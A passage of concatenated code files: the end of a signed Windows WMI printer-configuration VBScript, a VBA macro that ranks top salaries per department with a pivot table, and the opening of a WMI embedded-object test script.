case 12
str = str + L_Text_Msg_Status28_Text + L_Space_Text
case 13
str = str + L_Text_Msg_Status29_Text + L_Space_Text
case 14
str = str + L_Text_Msg_Status30_Text + L_Space_Text
case 15
str = str + L_Text_Msg_Status31_Text + L_Space_Text
case 16
str = str + L_Text_Msg_Status32_Text + L_Space_Text
end select
ExtDetectedErrorStateToString = str
end function
'
' Debug display helper function
'
sub DebugPrint(uFlags, strString)
if gDebugFlag = true then
if uFlags = kDebugTrace then
wscript.echo L_Debug_Text & L_Space_Text & strString
end if
if uFlags = kDebugError then
if Err <> 0 then
wscript.echo L_Debug_Text & L_Space_Text & strString & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) _
& L_Space_Text & Err.Description
end if
end if
end if
end sub
'
' Parse the command line into its components
'
function ParseCommandLine(iAction, oParamdict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg05_Text
dim oArgs
dim iIndex
iAction = kActionUnknown
iIndex = 0
set oArgs = wscript.Arguments
while iIndex < oArgs.Count
select case oArgs(iIndex)
case "-g"
iAction = kActionGet
case "-t"
iAction = kActionSet
case "-x"
iAction = kActionRename
case "-p"
iIndex = iIndex + 1
oParamdict.Add kPrinterName, oArgs(iIndex)
case "-s"
iIndex = iIndex + 1
oParamdict.Add kServerName, RemoveBackslashes(oArgs(iIndex))
case "-r"
iIndex = iIndex + 1
oParamdict.Add kPortName, oArgs(iIndex)
case "-h"
iIndex = iIndex + 1
oParamdict.Add kShareName, oArgs(iIndex)
case "-m"
iIndex = iIndex + 1
oParamdict.Add kComment, oArgs(iIndex)
case "-l"
iIndex = iIndex + 1
oParamdict.Add kLocation, oArgs(iIndex)
case "-y"
iIndex = iIndex + 1
oParamdict.Add kDataType, oArgs(iIndex)
case "-f"
iIndex = iIndex + 1
oParamdict.Add kSepFile, oArgs(iIndex)
case "-z"
iIndex = iIndex + 1
oParamdict.Add kNewPrinterName, oArgs(iIndex)
case "-u"
iIndex = iIndex + 1
oParamdict.Add kUserName, oArgs(iIndex)
case "-w"
iIndex = iIndex + 1
oParamdict.Add kPassword, oArgs(iIndex)
case "-st"
iIndex = iIndex + 1
oParamdict.Add kStartTime, "********" & oArgs(iIndex) & "00.000000+000"
case "-o"
iIndex = iIndex + 1
oParamdict.Add kPriority, oArgs(iIndex)
case "-i"
iIndex = iIndex + 1
oParamdict.Add kDefaultPriority, oArgs(iIndex)
case "-ut"
iIndex = iIndex + 1
oParamdict.Add kUntilTime, "********" & oArgs(iIndex) & "00.000000+000"
case "-queued"
oParamdict.Add kQueued, false
case "+queued"
oParamdict.Add kQueued, true
case "-direct"
oParamdict.Add kDirect, false
case "+direct"
oParamdict.Add kDirect, true
case "-shared"
oParamdict.Add kShared, false
case "+shared"
oParamdict.Add kShared, true
case "-hidden"
oParamdict.Add kHidden, false
case "+hidden"
oParamdict.Add kHidden, true
case "-enabledevq"
oParamdict.Add kEnabledevq, false
case "+enabledevq"
oParamdict.Add kEnabledevq, true
case "-keepprintedjobs"
oParamdict.Add kKeepprintedjobs, false
case "+keepprintedjobs"
oParamdict.Add kKeepprintedjobs, true
case "-docompletefirst"
oParamdict.Add kDocompletefirst, false
case "+docompletefirst"
oParamdict.Add kDocompletefirst, true
case "-workoffline"
oParamdict.Add kWorkoffline, false
case "+workoffline"
oParamdict.Add kWorkoffline, true
case "-enablebidi"
oParamdict.Add kEnablebidi, false
case "+enablebidi"
oParamdict.Add kEnablebidi, true
case "-rawonly"
oParamdict.Add kRawonly, false
case "+rawonly"
oParamdict.Add kRawonly, true
case "-published"
oParamdict.Add kPublished, false
case "+published"
oParamdict.Add kPublished, true
case "-?"
Usage(true)
exit function
case else
Usage(true)
exit function
end select
iIndex = iIndex + 1
wend
if Err = kErrorSuccess then
ParseCommandLine = kErrorSuccess
else
wscript.echo L_Text_Error_General02_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_text & Err.Description
ParseCommandLine = kErrorFailure
end if
end function
'
' Display command usage.
'
sub Usage(bExit)
wscript.echo L_Help_Help_General01_Text
wscript.echo L_Help_Help_General02_Text
wscript.echo L_Help_Help_General03_Text
wscript.echo L_Help_Help_General04_Text
wscript.echo L_Help_Help_General05_Text
wscript.echo L_Help_Help_General06_Text
wscript.echo L_Help_Help_General07_Text
wscript.echo L_Help_Help_General08_Text
wscript.echo L_Help_Help_General09_Text
wscript.echo L_Help_Help_General10_Text
wscript.echo L_Help_Help_General11_Text
wscript.echo L_Help_Help_General12_Text
wscript.echo L_Help_Help_General13_Text
wscript.echo L_Help_Help_General14_Text
wscript.echo L_Help_Help_General15_Text
wscript.echo L_Help_Help_General16_Text
wscript.echo L_Help_Help_General17_Text
wscript.echo L_Help_Help_General18_Text
wscript.echo L_Help_Help_General19_Text
wscript.echo L_Help_Help_General20_Text
wscript.echo L_Help_Help_General21_Text
wscript.echo L_Help_Help_General22_Text
wscript.echo L_Help_Help_General23_Text
wscript.echo L_Help_Help_General24_Text
wscript.echo L_Help_Help_General25_Text
wscript.echo L_Help_Help_General26_Text
wscript.echo L_Help_Help_General27_Text
wscript.echo L_Empty_Text
wscript.echo L_Help_Help_General28_Text
wscript.echo L_Help_Help_General29_Text
wscript.echo L_Help_Help_General30_Text
wscript.echo L_Help_Help_General31_Text
wscript.echo L_Help_Help_General32_Text
wscript.echo L_Help_Help_General33_Text
wscript.echo L_Help_Help_General34_Text
wscript.echo L_Help_Help_General35_Text
if bExit then
wscript.quit(1)
end if
end sub
'
' Determines which program is being used to run this script.
' Returns true if the script host is cscript.exe
'
function IsHostCscript()
on error resume next
dim strFullName
dim strCommand
dim i, j
dim bReturn
bReturn = false
strFullName = WScript.FullName
i = InStr(1, strFullName, ".exe", 1)
if i <> 0 then
j = InStrRev(strFullName, "\", i, 1)
if j <> 0 then
strCommand = Mid(strFullName, j+1, i-j-1)
if LCase(strCommand) = "cscript" then
bReturn = true
end if
end if
end if
if Err <> 0 then
wscript.echo L_Text_Error_General01_Text & L_Space_Text & L_Error_Text & L_Space_Text _
& L_Hex_Text & hex(Err.Number) & L_Space_Text & Err.Description
end if
IsHostCscript = bReturn
end function
'
' Retrieves extended information about the last error that occurred
' during a WBEM operation. The methods that set an SWbemLastError
' object are GetObject, PutInstance, DeleteInstance
'
sub LastError()
on error resume next
dim oError
set oError = CreateObject("WbemScripting.SWbemLastError")
if Err = kErrorSuccess then
wscript.echo L_Operation_Text & L_Space_Text & oError.Operation
wscript.echo L_Provider_Text & L_Space_Text & oError.ProviderName
wscript.echo L_Description_Text & L_Space_Text & oError.Description
wscript.echo L_Text_Error_General03_Text & L_Space_Text & oError.StatusCode
end if
end sub
'
' Connects to the WMI service on a server. oService is returned as a service
' object (SWbemServices)
'
function WmiConnect(strServer, strNameSpace, strUser, strPassword, oService)
on error resume next
dim oLocator
dim bResult
oService = null
bResult = false
set oLocator = CreateObject("WbemScripting.SWbemLocator")
if Err = kErrorSuccess then
set oService = oLocator.ConnectServer(strServer, strNameSpace, strUser, strPassword)
if Err = kErrorSuccess then
bResult = true
oService.Security_.impersonationlevel = 3
'
' Required to perform administrative tasks on the spooler service
'
oService.Security_.Privileges.AddAsString "SeLoadDriverPrivilege"
Err.Clear
else
wscript.echo L_Text_Msg_General08_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
else
wscript.echo L_Text_Msg_General09_Text & L_Space_Text & L_Error_Text _
& L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
WmiConnect = bResult
end function
'
' Remove leading "\\" from server name
'
function RemoveBackslashes(strServer)
dim strRet
strRet = strServer
if Left(strServer, 2) = "\\" and Len(strServer) > 2 then
strRet = Mid(strServer, 3)
end if
RemoveBackslashes = strRet
end function
'' SIG '' Begin signature block
'' SIG '' MIIZMAYJKoZIhvcNAQcCoIIZITCCGR0CAQExDjAMBggq
'' SIG '' hkiG9w0CBQUAMGYGCisGAQQBgjcCAQSgWDBWMDIGCisG
'' SIG '' AQQBgjcCAR4wJAIBAQQQTvApFpkntU2P5azhDxfrqwIB
'' SIG '' AAIBAAIBAAIBAAIBADAgMAwGCCqGSIb3DQIFBQAEEOLm
'' SIG '' 4j+9BLdGEED7+fyvFSygghQ4MIICvDCCAiUCEEoZ0jiM
'' SIG '' glkcpV1zXxVd3KMwDQYJKoZIhvcNAQEEBQAwgZ4xHzAd
'' SIG '' BgNVBAoTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxFzAV
'' SIG '' BgNVBAsTDlZlcmlTaWduLCBJbmMuMSwwKgYDVQQLEyNW
'' SIG '' ZXJpU2lnbiBUaW1lIFN0YW1waW5nIFNlcnZpY2UgUm9v
'' SIG '' dDE0MDIGA1UECxMrTk8gTElBQklMSVRZIEFDQ0VQVEVE
'' SIG '' LCAoYyk5NyBWZXJpU2lnbiwgSW5jLjAeFw05NzA1MTIw
'' SIG '' MDAwMDBaFw0wNDAxMDcyMzU5NTlaMIGeMR8wHQYDVQQK
'' SIG '' ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMRcwFQYDVQQL
'' SIG '' Ew5WZXJpU2lnbiwgSW5jLjEsMCoGA1UECxMjVmVyaVNp
'' SIG '' Z24gVGltZSBTdGFtcGluZyBTZXJ2aWNlIFJvb3QxNDAy
'' SIG '' BgNVBAsTK05PIExJQUJJTElUWSBBQ0NFUFRFRCwgKGMp
'' SIG '' OTcgVmVyaVNpZ24sIEluYy4wgZ8wDQYJKoZIhvcNAQEB
'' SIG '' BQADgY0AMIGJAoGBANMuIPBofCwtLoEcsQaypwu3EQ1X
'' SIG '' 2lPYdePJMyqy1PYJWzTz6ZD+CQzQ2xtauc3n9oixncCH
'' SIG '' Jet9WBBzanjLcRX9xlj2KatYXpYE/S1iEViBHMpxlNUi
'' SIG '' WC/VzBQFhDa6lKq0TUrp7jsirVaZfiGcbIbASkeXarSm
'' SIG '' NtX8CS3TtDmbAgMBAAEwDQYJKoZIhvcNAQEEBQADgYEA
'' SIG '' YVUOPnvHkhJ+ERCOIszUsxMrW+hE5At4nqR+86cHch7i
'' SIG '' We/MhOOJlEzbTmHvs6T7Rj1QNAufcFb2jip/F87lY795
'' SIG '' aQdzLrCVKIr17aqp0l3NCsoQCY/Os68olsR5KYSS3P+6
'' SIG '' Z0JIppAQ5L9h+JxT5ZPRcz/4/Z1PhKxV0f0RY2MwggQC
'' SIG '' MIIDa6ADAgECAhAIem1cb2KTT7rE/UPhFBidMA0GCSqG
'' SIG '' SIb3DQEBBAUAMIGeMR8wHQYDVQQKExZWZXJpU2lnbiBU
'' SIG '' cnVzdCBOZXR3b3JrMRcwFQYDVQQLEw5WZXJpU2lnbiwg
'' SIG '' SW5jLjEsMCoGA1UECxMjVmVyaVNpZ24gVGltZSBTdGFt
'' SIG '' cGluZyBTZXJ2aWNlIFJvb3QxNDAyBgNVBAsTK05PIExJ
'' SIG '' QUJJTElUWSBBQ0NFUFRFRCwgKGMpOTcgVmVyaVNpZ24s
'' SIG '' IEluYy4wHhcNMDEwMjI4MDAwMDAwWhcNMDQwMTA2MjM1
'' SIG '' OTU5WjCBoDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4x
'' SIG '' HzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsx
'' SIG '' OzA5BgNVBAsTMlRlcm1zIG9mIHVzZSBhdCBodHRwczov
'' SIG '' L3d3dy52ZXJpc2lnbi5jb20vcnBhIChjKTAxMScwJQYD
'' SIG '' VQQDEx5WZXJpU2lnbiBUaW1lIFN0YW1waW5nIFNlcnZp
'' SIG '' Y2UwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
'' SIG '' AQDAemGH67KnA2MbKxph3oC3FR2gi5A9uyeShBQ564XO
'' SIG '' KZIGZkikA0+N6E+n8K9e0S8Zx5HxtZ57kSHO6f/jTvD8
'' SIG '' r5VYuGMt5o72KRjNcI5Qw+2Wu0DbviXoQlXW9oXyBueL
'' SIG '' mRwx8wMP1EycJCrcGxuPgvOw76dN4xSn4I/Wx2jCYVip
'' SIG '' ctT4MEhP2S9vYyDZicqCe8JLvCjFgWjn5oJArEY6oPk/
'' SIG '' Ns1Mu1RCWnple/6E5MdHVKy5PeyAxxr3xDOBgckqlft/
'' SIG '' XjqHkBTbzC518u9r5j2pYL5CAapPqluoPyIxnxIV+XOh
'' SIG '' HoKLBCvqRgJMbY8fUC6VSyp4BoR0PZGPLEcxAgMBAAGj
'' SIG '' gbgwgbUwQAYIKwYBBQUHAQEENDAyMDAGCCsGAQUFBzAB
'' SIG '' hiRodHRwOi8vb2NzcC52ZXJpc2lnbi5jb20vb2NzcC9z
'' SIG '' dGF0dXMwCQYDVR0TBAIwADBEBgNVHSAEPTA7MDkGC2CG
'' SIG '' SAGG+EUBBwEBMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8v
'' SIG '' d3d3LnZlcmlzaWduLmNvbS9ycGEwEwYDVR0lBAwwCgYI
'' SIG '' KwYBBQUHAwgwCwYDVR0PBAQDAgbAMA0GCSqGSIb3DQEB
'' SIG '' BAUAA4GBAC3zT2NgLBja9SQPUrMM67O8Z4XCI+2PRg3P
'' SIG '' Gk2+83x6IDAyGGiLkrsymfCTuDsVBid7PgIGAKQhkoQT
'' SIG '' CsWY5UBXxQUl6K+vEWqp5TvL6SP2lCldQFXzpVOdyDY6
'' SIG '' OWUIc3OkMtKvrL/HBTz/RezD6Nok0c5jrgmn++Ib4/1B
'' SIG '' CmqWMIIEEjCCAvqgAwIBAgIPAMEAizw8iBHRPvZj7N9A
'' SIG '' MA0GCSqGSIb3DQEBBAUAMHAxKzApBgNVBAsTIkNvcHly
'' SIG '' aWdodCAoYykgMTk5NyBNaWNyb3NvZnQgQ29ycC4xHjAc
'' SIG '' BgNVBAsTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEhMB8G
'' SIG '' A1UEAxMYTWljcm9zb2Z0IFJvb3QgQXV0aG9yaXR5MB4X
'' SIG '' DTk3MDExMDA3MDAwMFoXDTIwMTIzMTA3MDAwMFowcDEr
'' SIG '' MCkGA1UECxMiQ29weXJpZ2h0IChjKSAxOTk3IE1pY3Jv
'' SIG '' c29mdCBDb3JwLjEeMBwGA1UECxMVTWljcm9zb2Z0IENv
'' SIG '' cnBvcmF0aW9uMSEwHwYDVQQDExhNaWNyb3NvZnQgUm9v
'' SIG '' dCBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IB
'' SIG '' DwAwggEKAoIBAQCpAr3BcOY78k4bKJ+XeF4w6qKpjSVf
'' SIG '' +P6VTKO3/p2iID58UaKboo9gMmvRQmR57qx2yVTa8uuc
'' SIG '' hhyPn4Rms8VremIj1h083g8BkuiWxL8tZpqaaCaZ0Dos
'' SIG '' vwy1WCbBRucKPjiWLKkoOajsSYNC44QPu5psVWGsgnyh
'' SIG '' YC13TOmZtGQ7mlAcMQgkFJ+p55ErGOY9mGMUYFgFZZ8d
'' SIG '' N1KH96fvlALGG9O/VUWziYC/OuxUlE6u/ad6bXROrxjM
'' SIG '' lgkoIQBXkGBpN7tLEgc8Vv9b+6RmCgim0oFWV++2O14W
'' SIG '' gXcE2va+roCV/rDNf9anGnJcPMq88AijIjCzBoXJsyB3
'' SIG '' E4XfAgMBAAGjgagwgaUwgaIGA1UdAQSBmjCBl4AQW9Bw
'' SIG '' 72lyniNRfhSyTY7/y6FyMHAxKzApBgNVBAsTIkNvcHly
'' SIG '' aWdodCAoYykgMTk5NyBNaWNyb3NvZnQgQ29ycC4xHjAc
'' SIG '' BgNVBAsTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEhMB8G
'' SIG '' A1UEAxMYTWljcm9zb2Z0IFJvb3QgQXV0aG9yaXR5gg8A
'' SIG '' wQCLPDyIEdE+9mPs30AwDQYJKoZIhvcNAQEEBQADggEB
'' SIG '' AJXoC8CN85cYNe24ASTYdxHzXGAyn54Lyz4FkYiPyTrm
'' SIG '' IfLwV5MstaBHyGLv/NfMOztaqTZUaf4kbT/JzKreBXzd
'' SIG '' MY09nxBwarv+Ek8YacD80EPjEVogT+pie6+qGcgrNyUt
'' SIG '' vmWhEoolD2Oj91Qc+SHJ1hXzUqxuQzIH/YIX+OVnbA1R
'' SIG '' 9r3xUse958Qw/CAxCYgdlSkaTdUdAqXxgOADtFv0sd3I
'' SIG '' V+5lScdSVLa0AygS/5DW8AiPfriXxas3LOR65Kh343ag
'' SIG '' ANBqP8HSNorgQRKoNWobats14dQcBOSoRQTIWjM4bk0c
'' SIG '' DWK3CqKM09VUP0bNHFWmcNsSOoeTdZ+n0qAwggSLMIID
'' SIG '' c6ADAgECAgphBiqNAAAAAAALMA0GCSqGSIb3DQEBBQUA
'' SIG '' MIGmMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGlu
'' SIG '' Z3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMV
'' SIG '' TWljcm9zb2Z0IENvcnBvcmF0aW9uMSswKQYDVQQLEyJD
'' SIG '' b3B5cmlnaHQgKGMpIDIwMDAgTWljcm9zb2Z0IENvcnAu
'' SIG '' MSMwIQYDVQQDExpNaWNyb3NvZnQgQ29kZSBTaWduaW5n
'' SIG '' IFBDQTAeFw0wMTAzMjkyMTI3MjZaFw0wMjA1MjkyMTM3
'' SIG '' MjZaMIGhMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2Fz
'' SIG '' aGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UE
'' SIG '' ChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSswKQYDVQQL
'' SIG '' EyJDb3B5cmlnaHQgKGMpIDIwMDEgTWljcm9zb2Z0IENv
'' SIG '' cnAuMR4wHAYDVQQDExVNaWNyb3NvZnQgQ29ycG9yYXRp
'' SIG '' b24wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAI4W
'' SIG '' b9oX0+NFlbKs0+XPMT0dxIe7TkgF+YtWqSuHY8hE2jDJ
'' SIG '' FLzreBq6xOricgBMRmab3mJGbp73RLrous/C1fU7lke4
'' SIG '' UV7Rd2cie1MqLeoij3xO/wK1GzOg6pXrGLp2+WHSAAuU
'' SIG '' YDQ7SYYss9mOky4ta/3jVaq4qm7gcPSiYAYvAgMBAAGj
'' SIG '' ggFAMIIBPDAOBgNVHQ8BAf8EBAMCBsAwEwYDVR0lBAww
'' SIG '' CgYIKwYBBQUHAwMwHQYDVR0OBBYEFO+QQN5P4BuzRdgH
'' SIG '' A3uZ+XUZZjUaMIGpBgNVHSMEgaEwgZ6AFClcuRu2zTPu
'' SIG '' u55Zffflyi7EDTQooXSkcjBwMSswKQYDVQQLEyJDb3B5
'' SIG '' cmlnaHQgKGMpIDE5OTcgTWljcm9zb2Z0IENvcnAuMR4w
'' SIG '' HAYDVQQLExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xITAf
'' SIG '' BgNVBAMTGE1pY3Jvc29mdCBSb290IEF1dGhvcml0eYIQ
'' SIG '' aguZT8AA3qoR1NhAmqi+5jBKBgNVHR8EQzBBMD+gPaA7
'' SIG '' hjlodHRwOi8vY3JsLm1pY3Jvc29mdC5jb20vcGtpL2Ny
'' SIG '' bC9wcm9kdWN0cy9Db2RlU2lnblBDQS5jcmwwDQYJKoZI
'' SIG '' hvcNAQEFBQADggEBAARnzM/dcU1Hwo6DaRJrol+WJgfo
'' SIG '' j9jTnlrbJ2kdHfQ8VShT3REkJ5KuWVZA6cRNnezbq36U
'' SIG '' mz0gLDXyJ07AyDm3ZWPRNWbaU71BfllKpFK39f3IvaF7
'' SIG '' BriY2Jju0Qs0dWYN3EGPw7CShFfBQnqFxpET21St3n5B
'' SIG '' 3CCv6RvJwjIxxY3py/qDS8FYkzLE1+PNeqvffQicxoU7
'' SIG '' 6EGBOLF4Gbw4981rws6qTJAdg8bmAYloqueP6AdQKjLd
'' SIG '' 18+9zHrZOg//skSKV8gaN2QHF317cktGBqEoWyNXHmr9
'' SIG '' kSIzQNF1SxIBbgYhhDZvqCoMfz6uNSv2t30LCBPlV/NL
'' SIG '' rY8gv7gwggTJMIIDsaADAgECAhBqC5lPwADeqhHU2ECa
'' SIG '' qL7mMA0GCSqGSIb3DQEBBAUAMHAxKzApBgNVBAsTIkNv
'' SIG '' cHlyaWdodCAoYykgMTk5NyBNaWNyb3NvZnQgQ29ycC4x
'' SIG '' HjAcBgNVBAsTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEh
'' SIG '' MB8GA1UEAxMYTWljcm9zb2Z0IFJvb3QgQXV0aG9yaXR5
'' SIG '' MB4XDTAwMTIxMDA4MDAwMFoXDTA1MTExMjA4MDAwMFow
'' SIG '' gaYxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5n
'' SIG '' dG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVN
'' SIG '' aWNyb3NvZnQgQ29ycG9yYXRpb24xKzApBgNVBAsTIkNv
'' SIG '' cHlyaWdodCAoYykgMjAwMCBNaWNyb3NvZnQgQ29ycC4x
'' SIG '' IzAhBgNVBAMTGk1pY3Jvc29mdCBDb2RlIFNpZ25pbmcg
'' SIG '' UENBMIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKC
'' SIG '' AQEAooQVU9gLMA40lf86G8LzL3ttNyNN89KM5f2v/cUC
'' SIG '' NB8kx+Wh3FTsfgJ0R6vbMlgWFFEpOPF+srSMOke1OU5u
'' SIG '' VMIxDDpt+83Ny1CcG66n2NlKJj+1xcuPluJJ8m3Y6ZY+
'' SIG '' 3gXP8KZVN60vYM2AYUKhSVRKDxi3S9mTmTBaR3VktNO7
'' SIG '' 3barDJ1PuHM7GDqqtIeMsIiwTU8fThG1M4DfDTpkb0TH
'' SIG '' NL1Kk5u8ph35BSNOYCmPzCryhJqZrajbCnB71jRBkKW3
'' SIG '' ZsdcGx2jMw6bVAMaP5iQuMznPQR0QxyP9znms6xIemsq
'' SIG '' DmIBYTl2bv0+mAdLFPEBRv0VAOBH2k/kBeSAJQIBA6OC
'' SIG '' ASgwggEkMBMGA1UdJQQMMAoGCCsGAQUFBwMDMIGiBgNV
'' SIG '' HQEEgZowgZeAEFvQcO9pcp4jUX4Usk2O/8uhcjBwMSsw
'' SIG '' KQYDVQQLEyJDb3B5cmlnaHQgKGMpIDE5OTcgTWljcm9z
'' SIG '' b2Z0IENvcnAuMR4wHAYDVQQLExVNaWNyb3NvZnQgQ29y
'' SIG '' cG9yYXRpb24xITAfBgNVBAMTGE1pY3Jvc29mdCBSb290
'' SIG '' IEF1dGhvcml0eYIPAMEAizw8iBHRPvZj7N9AMBAGCSsG
'' SIG '' AQQBgjcVAQQDAgEAMB0GA1UdDgQWBBQpXLkbts0z7rue
'' SIG '' WX335couxA00KDAZBgkrBgEEAYI3FAIEDB4KAFMAdQBi
'' SIG '' AEMAQTALBgNVHQ8EBAMCAUYwDwYDVR0TAQH/BAUwAwEB
'' SIG '' /zANBgkqhkiG9w0BAQQFAAOCAQEARVjimkF//J2/SHd3
'' SIG '' rozZ5hnFV7QavbS5XwKhRWo5Wfm5J5wtTZ78ouQ4ijhk
'' SIG '' IkLfuS8qz7fWBsrrKr/gGoV821EIPfQi09TAbYiBFURf
'' SIG '' ZINkxKmULIrbkDdKD7fo1GGPdnbh2SX/JISVjQRWVJSh
'' SIG '' HDo+grzupYeMHIxLeV+1SfpeMmk6H1StdU3fZOcwPNtk
'' SIG '' SUT7+8QcQnHmoD1F7msAn6xCvboRs1bk+9WiKoHYH06i
'' SIG '' Vb4nj3Cmomwb/1SKgryBS6ahsWZ6qRenywbAR+ums+kx
'' SIG '' FVM9KgS//3NI3IsnQ/xj6O4kh1u+NtHoMfUy2V7feXq6
'' SIG '' MKxphkr7jBG/G41UWTGCBGIwggReAgEBMIG1MIGmMQsw
'' SIG '' CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQ
'' SIG '' MA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9z
'' SIG '' b2Z0IENvcnBvcmF0aW9uMSswKQYDVQQLEyJDb3B5cmln
'' SIG '' aHQgKGMpIDIwMDAgTWljcm9zb2Z0IENvcnAuMSMwIQYD
'' SIG '' VQQDExpNaWNyb3NvZnQgQ29kZSBTaWduaW5nIFBDQQIK
'' SIG '' YQYqjQAAAAAACzAMBggqhkiG9w0CBQUAoIGwMBkGCSqG
'' SIG '' SIb3DQEJAzEMBgorBgEEAYI3AgEEMBwGCisGAQQBgjcC
'' SIG '' AQsxDjAMBgorBgEEAYI3AgEVMB8GCSqGSIb3DQEJBDES
'' SIG '' BBDuywKV2zhUda/eUBoNMzbLMFQGCisGAQQBgjcCAQwx
'' SIG '' RjBEoCaAJABXAE0ASQAgAHAAcgBpAG4AdABlAHIAIABz
'' SIG '' AGMAcgBpAHAAdKEagBhodHRwOi8vd3d3Lm1pY3Jvc29m
'' SIG '' dC5jb20wDQYJKoZIhvcNAQEBBQAEgYB2Vi7Wgjx8BqH2
'' SIG '' 46YWLB+EfmuDlcWOg0IQzJ11Taz0p3SyKPoFM0tpYPvA
'' SIG '' /NjorlO5qMEuUtKXXn5hXAU+6IfA1kW7rWjRyMoYf6BN
'' SIG '' Mnuzk+L3ZYM095hAFNy6YOtIH0msH52t/J3rgJdVcnB1
'' SIG '' IHDGvl9K0iT0+wvHCfC1cm0BKaGCAkwwggJIBgkqhkiG
'' SIG '' 9w0BCQYxggI5MIICNQIBATCBszCBnjEfMB0GA1UEChMW
'' SIG '' VmVyaVNpZ24gVHJ1c3QgTmV0d29yazEXMBUGA1UECxMO
'' SIG '' VmVyaVNpZ24sIEluYy4xLDAqBgNVBAsTI1ZlcmlTaWdu
'' SIG '' IFRpbWUgU3RhbXBpbmcgU2VydmljZSBSb290MTQwMgYD
'' SIG '' VQQLEytOTyBMSUFCSUxJVFkgQUNDRVBURUQsIChjKTk3
'' SIG '' IFZlcmlTaWduLCBJbmMuAhAIem1cb2KTT7rE/UPhFBid
'' SIG '' MAwGCCqGSIb3DQIFBQCgWTAYBgkqhkiG9w0BCQMxCwYJ
'' SIG '' KoZIhvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMTEyMDcy
'' SIG '' MDIzMDRaMB8GCSqGSIb3DQEJBDESBBBQcr7gc8/T5Jz/
'' SIG '' zs4YUE0FMA0GCSqGSIb3DQEBAQUABIIBAFgRB0KNh4S6
'' SIG '' v84cecsMH9B8Edq6fSmFxYXHK1T/OBG0SvODIdjhRf5D
'' SIG '' 0rod1rKYugta35C3QRW6URZ/qL/nqgnadJ240vFw1ANS
'' SIG '' KhIEatmSr34A0FbNEMEZsspxaG8JI91nv5NgayArbURR
'' SIG '' x8CV5M+LkaesZyVldDOZ88BdbAFcALMR860d/CXgVa6p
'' SIG '' Qz8w3lrIQGUzXnuuxaTtRAf22Ba/NSg4FOWz+U4DHUq3
'' SIG '' Ed0vbzAuzUOLo0EwEB+PPf4yZ2Had3xAkUQfbmb89yK9
'' SIG '' FMZL1A6aksyHdNB2HB4vgyzXW+KTRbQ4MKttbACrugLn
'' SIG '' vSRK4Mpa/gWTKBapOlzdKcI=
'' SIG '' End signature block
|
<filename>Task/Top-rank-per-group/VBA/top-rank-per-group.vba
Private Sub top_rank(filename As String, n As Integer)
Workbooks.OpenText filename:=filename, Comma:=True
Dim ws As Worksheet
Set ws = Sheets.Add: ws.Name = "output"
ActiveWorkbook.PivotCaches.Create(SourceType:=xlDatabase, SourceData:= _
"data!R1C1:R14C4", Version:=6).CreatePivotTable TableDestination:= _
"output!R3C1", TableName:="TableName", DefaultVersion:=6
With Sheets("output").PivotTables("TableName")
.InGridDropZones = True
.RowAxisLayout xlTabularRow
.AddDataField Sheets("output").PivotTables("TableName"). _
PivotFields("Salary"), "Top rank", xlSum
.PivotFields("Department").Orientation = xlRowField
.PivotFields("Department").Position = 1
.PivotFields("Salary").Orientation = xlRowField
.PivotFields("Salary").Position = 2
.PivotFields("Employee Name").Orientation = xlRowField
.PivotFields("Employee Name").Position = 3
.PivotFields("Employee ID").Orientation = xlRowField
.PivotFields("Employee ID").Position = 4
.PivotFields("Salary").PivotFilters.Add2 Type:=xlTopCount, _
DataField:=Sheets("output").PivotTables("TableName"). _
PivotFields("Top rank"), Value1:=n
.PivotFields("Salary").Subtotals = Array(False, False, False, False, _
False, False, False, False, False, False, False, False)
.PivotFields("Employee Name").Subtotals = Array(False, False, False, _
False, False, False, False, False, False, False, False, False)
.PivotFields("Department").Subtotals = Array(False, False, False, False, _
False, False, False, False, False, False, False, False)
.ColumnGrand = False
.PivotFields("Salary").AutoSort xlDescending, "Salary"
End With
End Sub
Public Sub main()
top_rank filename:="D:\data.txt", n:=3
End Sub
|
'***************************************************************************
'This script tests the manipulation of property values, in the case that the
'property is an embedded type
'***************************************************************************
Set Service = GetObject("winmgmts:root/default")
On Error Resume Next
'*******************************
'Create an embedded object class
'*******************************
'
' [woobit(24.5)]
' class EmObjInner {
' [key] uint32 pInner = 10;
' };
'
Set EmbObjInner = Service.Get()
EmbObjInner.Path_.Class = "EmbObjInner"
EmbObjInner.Qualifiers_.Add "woobit", 24.5
Set Property = EmbObjInner.Properties_.Add ("pInner", 19)
Property.Qualifiers_.Add "key", true
Property.Value = 10
EmbObjInner.Put_
Set EmbObjInner = Service.Get("EmbObjInner")
if Err <> 0 Then
WScript.Echo Err.Description
Err.Clear
End if
'************************************
'Create another embedded object class
'************************************
'
' [wazzuck("oxter")]
' class EmbObjOuter {
